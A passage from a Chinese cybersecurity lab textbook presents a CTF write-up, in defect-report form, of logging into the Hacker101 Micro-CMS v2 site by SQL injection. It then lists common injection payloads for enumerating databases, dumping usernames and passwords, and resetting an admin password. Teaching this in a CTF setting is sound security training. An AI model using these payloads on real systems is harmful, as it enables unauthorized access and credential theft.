![网络空间安全实验教程](https://wfqqreader-1252317822.image.myqcloud.com/cover/986/41864986/b_41864986.jpg)
1.4 CTF Micro-CMS v2网站有SQL注入风险
缺陷标题:CTF Micro-CMS v2网站>登录>通过SQL注入语句,可以直接登录。
测试平台与浏览器:Windows 10+Firefox或IE11浏览器。
测试步骤:
1)打开国外安全夺旗比赛网站主页https://ctf.hacker101.com/ctf,如果已有账户请直接登录,没有账户需要注册一个账户并登录。
2)登录成功后,请进入到Micro-CMS v2网站项目https://ctf.hacker101.com/ctf/launch/3,如图1-5所示。
![](https://epubservercos.yuewen.com/46BF24/21889220001185706/epubprivate/OEBPS/Images/978-7-111-66547-2_24_01.jpg?sign=1739125342-GXvyGMPSAapE8l14qRcyu4IxcthQ9TGi-0-7d70d53ab2b13595364dcc44d7969ac2)
图1-5 进入Micro-CMS v2网站项目
3)单击Create a new page链接,出现如图1-6所示的登录页面,在Username中输入'UNION SELECT'123'AS password#,在Password中输入123。
![](https://epubservercos.yuewen.com/46BF24/21889220001185706/epubprivate/OEBPS/Images/978-7-111-66547-2_24_02.jpg?sign=1739125342-03EZ9h4MxnvuNVajV5ez1sz7WNUvpR4o-0-8abc21b8b54d1e613d13072649dfae10)
图1-6 登录页面
4)单击登录按钮观察。
期望结果:不能登录用户。
实际结果:登录成功,如图1-7所示,在登录成功页面单击P rivate P age链接就能捕获Flag(旗),如图1-8所示。
![](https://epubservercos.yuewen.com/46BF24/21889220001185706/epubprivate/OEBPS/Images/978-7-111-66547-2_24_03.jpg?sign=1739125342-RXEW7VW4ancfg6TUtxNBpSy37oDONRo5-0-854ece1da45b73280770804642568143)
图1-7 登录成功返回页面
![](https://epubservercos.yuewen.com/46BF24/21889220001185706/epubprivate/OEBPS/Images/978-7-111-66547-2_25_01.jpg?sign=1739125342-Gh2xBGMiAWHJScVVbXFRYHjZbOLVNprU-0-ebcf7a0a34f519a37d2481a081431fc0)
图1-8 捕获Private Page的Flag
[攻击分析]:
SQL注入攻击,利用的是数据库SQL语法,对SQL语法使用越深入,能攻击得到的Flag就越多。常见的攻击语法如下。
获取数据库版本:and(select@@version)>0
获取当前数据库名:and db_name()>0
获取当前数据库用户名:and user>0 and user_name()='dbo'
猜解所有数据库名称:and(select count(*)from master.dbo.sysdatabases where name>1 and dbid=6)<>0
猜解表的字段名称:and(Select Top 1 col_name(object_id('表名'),1)from sy-sobjects)>0
![](https://epubservercos.yuewen.com/46BF24/21889220001185706/epubprivate/OEBPS/Images/978-7-111-66547-2_25_02.jpg?sign=1739125342-Uvu8ibXi0CAE2FluuDOWMeplkcc5S1DE-0-5bbf684e0cb52e1dd872e39c1f69be63)
如果知道了表名和字段名就可以查询准确的值:union select 1,2,username,password,5,6,7,8,9,10,11,12 from usertable where id=6
查询账号:union select min(username),1,1,1,..from users where username >'a'
修改管理员的密码为123:.asp?id=××;update admin set password='123'where id=1
![](https://epubservercos.yuewen.com/46BF24/21889220001185706/epubprivate/OEBPS/Images/978-7-111-66547-2_25_03.jpg?sign=1739125342-X15FqPXXKzeBp8Ai9GEF0gjswJ5a339M-0-47bf12a52ffbe68fe955ac8bcf405c3e)
猜解数据库中用户名表的名称:
![](https://epubservercos.yuewen.com/46BF24/21889220001185706/epubprivate/OEBPS/Images/978-7-111-66547-2_25_04.jpg?sign=1739125342-9SmO9Pe8uidOuql6OtY0p5A0r9uEZVp2-0-367b72ec6967db87c43bef9190c96cdc)